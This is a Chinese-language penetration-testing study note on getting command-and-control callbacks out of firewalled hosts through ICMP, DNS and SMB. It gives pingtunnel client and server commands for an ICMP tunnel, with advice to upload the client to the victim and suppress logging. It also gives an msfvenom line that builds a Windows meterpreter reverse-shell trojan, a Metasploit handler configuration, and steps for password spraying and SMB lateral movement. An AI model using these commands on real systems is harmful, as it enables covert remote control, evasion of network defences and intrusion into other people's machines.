173天隧道技术篇防火墙组策略ICMPDNSSMB协议出网判断C2上线解决方案

主要学习的是icmp隧道的搭建

分别的C2的icmp隧道搭建和msf隧道搭建
以及要了解C2支持的各种协议
如何判断主机支持什么协议

Icmp  使用ping ip or domain
Ssh 用ssh连接  ip or domain
Dns 用 nslookup  domain
Http 用 curl ip
tcp用  telnet ip orport

icmp隧道搭建使用工具

使用pingtunnel工具进行搭建隧道 https://github.com/esrrhs/pingtunnel
使用参考文章：https://www.freebuf.com/articles/network/282244.html

# windows操作系统【不太好使】
pingtunnel.exe -type client -l :监听本机的端口（随便写） -s pingtunnel服务端地址 -t 隧道目标地址:端口 -tcp 1
# windows操作系统【不太好使】
./pingtunnel -type client -l :监听本机的端口（随便写） -s pingtunnel服务端地址 -t 隧道目标地址:端口 -tcp 1

监听器与后门的配置
第一条命令是在pingtunnel服务端上运行的，第二条是在客户端上运行的，也就是说得把pingtunnel上传到被攻击的主机上去 注意点是 需要一点要加上 noprint nolog

DNS

如果是使用C2搭建DNS隧道，这边是不需要搭建的，因为C2自身支持生成DNS的payload
分别支持

需要创建三个域名

创建监听器的时候加上

可以使用checkin 和 mode dns-txt 加快dns进程

MSF搭建icmp隧道

仍然是使用pingtunnel

服务端
./pingtunnel -type server  
客户端
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1 

生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe

MSF监听器配置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run

SMB横向移动

445端口开放代表SMB协议开放
适用场景：防火墙放行的WEB入口打不下来利用放行的SMB移动获取权限
利用条件：密码喷射或已知口令的情况下直接正向SMB横向移动拿下
注意是先通过信息收集到账号密码，然后进行端口扫描发现开放smb 最后进行横向移动